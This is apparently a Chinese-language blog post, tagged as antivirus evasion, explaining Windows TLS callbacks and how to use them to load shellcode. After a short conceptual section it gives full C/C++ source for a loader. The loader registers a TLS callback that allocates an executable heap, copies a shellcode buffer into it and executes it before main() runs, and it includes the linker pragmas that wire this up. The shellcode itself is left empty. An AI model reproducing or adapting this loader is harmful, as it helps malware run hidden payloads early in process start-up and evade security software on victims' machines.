首页 技术杂谈 正文
  • 本文约1372字,阅读需7分钟
  • 217
  • 0

ShellCode加载 - TLS机制

摘要

TLS机制加载Shellcode

1、TLS机制

  • TLS机制:本地线程存储,是在计算机中存储每个线程特有数据的机制
  • 为什么需要TLS
    • 并发控制:在多线程环境中,当多个线程同时访问相同的数据时,可能会导致数据竞争。使用线程特有的数据可以消除这种数据竞争。
    • 性能优化:当线程不需要锁定来访问其自己的数据时,可以减少锁定的开销,从而提高性能。
    • 简化设计:TLS 可以简化编程模型,因为开发人员不需要处理复杂的并发访问控制。

1.1、TLS回调函数

  • TLS回调函数:主要用于Windows的PE文件中,当一个PE文件(DLL或EXE)被加载时,如果它定义了TLS回调,那么这些回调会在程序的主入口点(main,dllmain)的前面被调用
  • TLS回调是PE文件中的特定功能,允许开发者指定一个或多个函数,这些函数在程序主体或DLL的入口点之前被调用。这使得开发者可以在程序真正开始执行之前执行某些初始化代码或其他操作。
  • TLS有两种类型:
    • 静态TLS:将TLS相关数据硬编码在PE(Portable Executable)文件中
    • 动态TLS:在运行时分配和管理TLS数据

1.2、TLS回调函数加载shellcode

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {};

void NTAPI TlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
    // 在此处可以加载和执行实际的shellcode
    if (Reason == DLL_PROCESS_ATTACH) {
        HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(shellcode), 0);

        char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(shellcode));

        memcpy(buffer, shellcode, sizeof(shellcode));

        ((void(*)(void)) buffer)();
    }
}

// 使用 #pragma comment 指令,确保链接器在生成的PE文件中包含TLS回调。
#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_func")
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:_tls_callback_func")
#endif

extern "C" {
#ifdef _WIN64
    PIMAGE_TLS_CALLBACK tls_callback_func[] = { TlsCallback, 0 };
#else
    __declspec(allocate(".CRT$XLX")) PIMAGE_TLS_CALLBACK tls_callback_func = TlsCallback;
#endif
}

int main() {
    // 主函数执行,此时TLS回调已经被调用,并且shellcode已经执行
    printf("Main function executed.\n");
    return 0;
}
标签:免杀
评论